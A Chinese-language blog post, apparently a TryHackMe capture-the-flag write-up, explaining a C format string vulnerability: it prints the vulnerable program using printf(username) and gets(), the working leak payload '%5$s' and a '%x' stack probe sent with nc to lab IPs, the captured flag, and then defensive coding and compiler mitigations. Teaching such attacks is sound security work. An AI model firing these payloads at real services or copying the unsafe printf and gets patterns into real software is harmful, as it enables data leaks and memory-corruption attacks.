格式化字符串漏洞深度解析:从原理到实战利用

举报
XueMian 发表于 2025/08/31 18:33:19 2025/08/31
【摘要】 详细分析C语言格式化字符串漏洞的攻击原理、内存机制和实战利用技巧。通过TryHackMe实例深入理解栈内存布局、printf函数漏洞原理,以及如何利用格式化字符串读取敏感数据。涵盖漏洞原理、代码分析、内存机制、攻击向量和防护措施的完整教程。

Flag: THM{format_issues}

概述

格式化字符串漏洞是一种经典的内存安全漏洞,主要出现在使用printf族函数时开发者未正确处理用户输入的情况下。本文通过TryHackMe平台的实际案例,深入分析这种漏洞的攻击原理、内存机制以及实战利用技巧。

格式化字符串漏洞原理

漏洞成因

格式化字符串漏洞的根本原因在于printf族函数的设计机制:

参数数量不匹配:printf函数无法在编译时验证格式化字符串与参数数量是否匹配。

栈内存访问:当格式化字符串中的格式说明符多于提供的参数时,函数会继续从栈中读取数据。

类型转换危险:攻击者可以通过特定的格式说明符强制函数以不同类型解释内存数据。

printf函数的内部机制

当调用printf(format, arg1, arg2, ...)时,首先格式化字符串format被逐字符解析。遇到%时,根据后续的格式说明符从参数列表中取值。如果格式说明符数量超过参数数量,函数会从栈中的下一个位置继续读取。

漏洞代码分析

让我们深入分析这个vulnerable程序:

#include <stdio.h>
#include <string.h>

void print_banner(){
    printf( "  ______ _          __      __         _ _   \n"
        " |  ____| |         \\ \\    / /        | | |  \n"
        " | |__  | | __ _  __ \\ \\  / /_ _ _   _| | |_ \n"
        " |  __| | |/ _` |/ _` \\ \\/ / _` | | | | | __|\n"
        " | |    | | (_| | (_| |\\  / (_| | |_| | | |_ \n"
        " |_|    |_|\\__,_|\\__, | \\/ \\__,_|\\__,_|_|\\__|\n"
        "                  __/ |                      \n"
        "                 |___/                       \n"
        "                                             \n"
        "Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!\n"
        "==================================================================\n\n"
          );
}

void print_flag(char *username){
        FILE *f = fopen("flag.txt","r");
        char flag[200];

        fgets(flag, 199, f);
        //printf("%s", flag);
    
    //The user needs to be mocked for thinking they could retrieve the flag
    printf("Hello, ");
    printf(username);  // 🚨 漏洞点:直接将用户输入作为格式化字符串
    printf(". Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...\n\n");
    printf("Yours truly,\nByteReaper\n\n");
}

void login(){
    char username[100] = "";

    printf("Username: ");
    gets(username);  // 🚨 缓冲区溢出风险:不检查输入长度

    // The flag isn't printed anymore. No need for authentication
    print_flag(username);
}

void main(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    // Start login process
    print_banner();
    login();

    return;
}

关键漏洞点分析

1. 格式化字符串漏洞 (第37行)

printf(username);  // 危险!应该使用 printf("%s", username);

问题分析

username变量直接作为格式化字符串传递给printf。攻击者可以在输入中包含格式说明符(如%x, %s, %p等)。这些格式说明符会导致printf从栈中读取额外的数据。

2. 缓冲区溢出风险 (第46行)

gets(username);  // 危险函数,已被废弃

问题分析

gets()函数不检查输入长度,可能导致缓冲区溢出。username数组只有100字节,超长输入会覆盖栈上的其他数据。

3. Flag数据泄露机会 (第30-32行)

FILE *f = fopen("flag.txt","r");
char flag[200];
fgets(flag, 199, f);

关键点

Flag被读入局部变量flag[200]。虽然被注释掉不直接打印,但数据仍在栈内存中。可以通过格式化字符串漏洞间接访问这些数据。

内存布局与攻击机制

栈内存布局分析

print_flag函数被调用时,栈的布局大致如下:

栈顶 (低地址)
├─ FILE *f (fopen返回值)
├─ char flag[200] (存储读取的flag内容)
├─ ...其他局部变量...
├─ 返回地址
├─ 保存的EBP
├─ char *username (传入的参数)
└─ main函数的栈帧
栈底 (高地址)

格式化字符串的栈遍历机制

当执行printf(username)时,正常情况下如果username是纯文本,会直接输出。攻击情况下如果username包含格式说明符,printf会尝试从栈中获取对应参数。

参数位置计算

在x86/x64架构中,第1个参数是格式化字符串本身 (username),第2个参数是栈上的下一个值,第3个参数是再下一个值,依此类推,第N个参数是栈上对应位置的值。

由于flag[200]数组在栈上,通过合适的偏移量可以访问到flag内容。

攻击向量分析

Payload分析

成功的攻击payload:

echo -ne '%5$s' | nc 10.10.20.224 1337

详细解析

%5$s直接访问第5个参数位置。$语法允许直接指定参数位置,无需遍历前面的参数。s格式符将该位置的值作为字符串指针,打印指向的内容。

为什么是第5个参数?

通过试验不同的偏移量:

# 探测栈内容的命令示例
echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337

经过测试发现,第1-4个参数是其他栈上的数据,第5个参数恰好指向flag字符串的地址,第6个及以后是其他内存内容。

内存对齐的影响

在实际环境中,flag在栈中的确切位置可能因编译器优化级别、栈对齐方式、系统架构(32位/64位)以及其他局部变量的分配而变化。

因此可能需要尝试不同的偏移量(%4$s, %5$s, %6$s等)来定位flag。

实战攻击演示

成功攻击的完整过程

$ echo -ne '%5$s' | nc 10.10.20.224 1337
  ______ _          __      __         _ _   
 |  ____| |         \ \    / /        | | |  
 | |__  | | __ _  __ \ \  / /_ _ _   _| | |_ 
 |  __| | |/ _` |/ _` \ \/ / _` | | | | | __|
 | |    | | (_| | (_| |\  / (_| | |_| | | |_ 
 |_|    |_|\__,_|\__, | \/ \__,_|\__,_|_|\__|
                  __/ |                      
                 |___/                       
                                             
Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!
==================================================================

Username: Hello, THM{format_issues}
. Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...

Yours truly,
ByteReaper

攻击成功原理分析

输入payload%5$s

printf处理过程:程序执行到printf(username)username内容为%5$s,printf解析格式说明符%5$s,访问栈上第5个位置的值作为字符串指针,第5个位置恰好指向flag字符串的内存地址。

输出结果:成功显示flag内容THM{format_issues}

其他探测payload

用于探测栈结构的命令:

# 显示多个栈位置的十六进制值
echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337

这个payload会显示前8个栈位置的十六进制值,最后用%s尝试将第9个位置作为字符串打印。

漏洞利用的关键要素

格式化字符串漏洞printf(username)直接使用用户输入作为格式字符串。

内存中的敏感数据:flag被读入栈上的局部变量。

可预测的内存布局:在相同环境下栈布局相对固定。

直接位置访问%N$s语法允许直接访问特定栈位置。

防护机制与安全建议

代码层面的防护措施

1. 安全的printf使用方式

// 危险的写法
printf(user_input);

// 安全的写法
printf("%s", user_input);

2. 输入验证和长度检查

// 替换危险的gets()函数
char username[100];
if (fgets(username, sizeof(username), stdin) != NULL) {
    // 移除可能的换行符
    username[strcspn(username, "\n")] = '\0';
}

3. 避免在栈上存储敏感数据

// 不安全:敏感数据在栈上
void print_flag(char *username) {
    char flag[200];  // 在栈上,可能被泄露
    // ...
}

// 更安全:使用动态分配或其他保护机制
void print_flag(char *username) {
    char *flag = malloc(200);
    // 使用后立即清零并释放
    memset(flag, 0, 200);
    free(flag);
}

编译器层面的防护

1. 编译器警告

# 启用格式化字符串相关警告
gcc -Wformat -Wformat-security -Wall source.c

2. FORTIFY_SOURCE

# 启用运行时检查
gcc -D_FORTIFY_SOURCE=2 -O2 source.c

系统层面的防护

1. 地址空间布局随机化 (ASLR)

随机化栈、堆、库的内存地址,使攻击者难以预测内存布局。

2. 栈保护 (Stack Canary)

# 启用栈保护
gcc -fstack-protector-all source.c

3. 不可执行栈 (NX bit)

防止在栈上执行代码,减少代码注入攻击的风险。

现代防护技术

1. 控制流完整性 (CFI)

检测并阻止控制流劫持攻击。

2. 地址空间隔离

使用容器化或沙箱技术隔离应用。

3. 静态分析工具

使用工具如Clang Static Analyzer、Coverity等,在开发阶段发现潜在漏洞。

安全开发建议

1. 安全编程原则

最小权限原则:程序只获取必要的权限。

输入验证:严格验证所有外部输入。

防御性编程:假设所有输入都是恶意的。

2. 代码审查

重点关注字符串处理函数,检查格式化字符串的使用,验证缓冲区边界检查。

3. 安全测试

模糊测试:使用工具如AFL、libFuzzer。

静态分析:集成到CI/CD管道。

动态分析:使用Valgrind、AddressSanitizer等。

总结

格式化字符串漏洞虽然是一个经典的安全漏洞,但在现代软件开发中仍然存在。通过本文的分析,我们可以看到:

漏洞原理:printf族函数设计的固有缺陷。

攻击手段:利用栈内存布局和格式说明符。

防护措施:多层次的安全防护策略。

关键教训包括:永远不要将用户输入直接作为格式化字符串;敏感数据应避免存储在可预测的内存位置;采用多层防护策略,而不是依赖单一安全机制;定期进行安全代码审查和测试。

这个案例再次提醒我们,在编写C/C++程序时必须格外注意内存安全,特别是在处理用户输入时。现代编译器和操作系统提供了多种防护机制,但开发者的安全意识和编程习惯仍然是最重要的第一道防线。

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。